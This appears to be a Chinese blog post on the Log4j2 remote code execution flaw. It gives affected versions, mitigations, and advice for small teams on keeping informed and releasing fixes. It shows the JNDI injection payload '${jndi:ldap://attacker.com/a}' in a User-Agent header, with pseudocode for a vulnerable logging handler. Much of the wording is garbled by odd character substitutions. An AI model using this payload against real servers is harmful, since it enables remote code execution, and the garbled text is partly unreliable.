关于log4j2:Log4j史诗级漏洞我们这些小公司能做些什么

36次阅读

共计 2955 个字符,预计需要花费 8 分钟才能阅读完成。

事件背景

12 月 10 日,看到朋友圈中曾经有人在通宵批改、上线零碎了。随即,又看到阿里云平安、腾讯安全部门收回的官网报告:”Apache Log4j2 存在近程代码执行破绽“,且破绽已对外公开。

看到相干音讯,马上爬起来把所有我的项目的日志零碎过滤一遍,还好老我的项目采纳的 log4j,新我的项目采纳的 logback,没有中招。随后就看到朋友圈铺天盖地的相干音讯。

作为一个史诗级的事件,紧急批改破绽是必然的。作为程序员,如果看到这则音讯,连去核查一下零碎都做不到,那真的不是一个合格的程序员。

经验过这次事件,不仅是看热闹而已,还要思考一下,作为小公司如何防止、提前预防、做好筹备应答这类 Bug。

破绽形容

Apache Log4j2 是一款优良的 Java 日志框架,与 Logback 平分秋色,大量支流的开源框架采纳了 Log4j2,像 Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。所以,这样一个底层框架呈现问题,影响面可想而知。

破绽信息:Apache Log4j 2.15.0-rc1 版本存在破绽绕过,需及时更新至 Apache Log4j 2.15.0-rc2 版本。

影响范畴:2.0 <= Apache log4j2 <= 2.14.1。

最新修复版本:https://github.com/apache/log…

补救计划

计划一:降级版本,公布零碎;

计划二:长期补救:

  • 批改 JVM 参数, 设置 -Dlog4j2.formatMsgNoLookups=true
  • 在波及破绽的我的项目的类门路(classpath)下减少 log4j2.component.properties 配置文件并减少配置项log4j2.formatMsgNoLookups=true
  • 将零碎环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

攻打原理

攻打伪代码示例:

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * 示例伪代码:一个简略的 HTTP 端点,其中读取 User Agent 信息并进行日志记录;*/
  public void handle(HttpExchange he) throws IOException {
      // 获取 user-agent 信息
    String userAgent = he.getRequestHeader("user-agent");
    
    // 此行记录日志的代码,通过记录攻击者管制的 HTTP 用户代理标头来触发 RCE。// 攻击者能够设置他们的 User-Agent header 到 ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There," + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();}
}

基于上述代码的根本攻打步骤:

  • 申请对应的 HTTP 端点(或接口),在申请信息中携带攻打代码(比方,在 user-agent 中携带 ${jndi:ldap://attacker.com/a});
  • 服务器在通过 Log4j2 执行日志记录时,记录中蕴含了基于 JNDILDAP的歹意负载 ${jndi:ldap://attacker.com/a},其中attacker.com 是攻击者管制的地址。
  • 记录日志操作触发向攻击者管制的地址发送申请。
  • 对应申请返回在响应中返回可执行的恶意代码,注入到服务器过程当中。比方返回,https://attacker.com/Attack.c…。
  • 进而执行脚本管制服务器。

腾讯平安专家的复现如下:

小公司程序员能做些什么?

对于破绽及解决方案,下面曾经具体聊了,问题根本得以解决。在大的互联网企业,是有专门的平安运维部门来监控、扫描这些破绽的。但在小公司,很显然没有这样的条件。

那么,咱们该怎么办?同时,作为事件的经验者,你是否思考过这个事件中反映出的一些其余问题吗?

第一,是否第一工夫失去音讯?

在大企业,一旦发现这样的破绽,安全部门会第一工夫进行告诉。但在小企业,没有安全部门,你是如何获取到破绽的音讯的呢?

比方我所在的企业,是没有安全部门的,但也简直是第一工夫得悉破绽音讯,进行零碎排查的。

作为程序员,如果破绽音讯曾经爆出很久,你却无所不知,那就应该反思一下朋友圈的品质以及对技术热点的关注度问题了。

如何取得圈内第一手音讯,取决于也反映着你在社交圈或技术圈所处的地位与现状

第二,是否置若罔闻?

很多敌人可能也看到了这则破绽音讯,但也就是看一下冷落,而后该干嘛干嘛了,零碎有破绽就有破绽了呗~

如果你是如此,或你的团队是如此,你真的须要检查一下职业素养问题了。

很多人可能感觉本人很牛,感觉本人怀才不遇,感觉工资收入低,感觉被亏待……那么,对照一下对这件事所作出的反馈,根本就晓得本人是不是被亏待了。

第三,如何应答突发事件?

这样的突发事件,也是对系统运维、团队治理的一个考验,也是一个仿真练习:大家都正在进行着以后业务的开发,有一个突发 Bug 要批改,改一半的代码如何操作?如大面积公布?

第一,改一半的代码怎么办?如果你的团队的代码开发都是基于 master(骨干)进行开发、提交代码,针对这样的突发事件,必然会面对改了一半的代码,提交了,想一起公布但还没测试,这种欲罢不能的场面。

所以,代码的治理(如何打分支、合并分支、分支与骨干代码不同环境的公布)必须得从日常的点滴做起,当突发事件产生时,也不至于慌手慌脚。

第二,有大量我的项目须要公布怎么办?当然,最古老的形式就是一个零碎一个零碎手动公布。如果是微服务及利用较多,不仅容易呈现谬误,而且耗时较长。这就揭示咱们,构建自动化公布流程的重要性。

第四,怎么找出系统漏洞?

有安全部门的公司,会定期扫描系统漏洞,那么没有安全部门的公司只能坐以待毙吗?

其实,还是有一些办法能够发现零碎的一些破绽的。比方,勤关注应用框架的版本升级、利用三方提供的破绽扫描(比方阿里云服务器的平安扫描)、与同行交换等伎俩。

小结

任何一个破绽对软件系统来说都有可能是致命的,也须要咱们审慎看待的。对于破绽的解决及做出的反馈也是从业者职业素养的体现。

而如果能从一次次突发事件中学习、思考到更多内容,你将比他人更快的成长。

博主简介:《SpringBoot 技术底细》技术图书作者,热爱钻研技术,写技术干货文章。

公众号:「程序新视界」,博主的公众号,欢送关注~

技术交换:请分割博主微信号:zhuan2quan

正文完
 0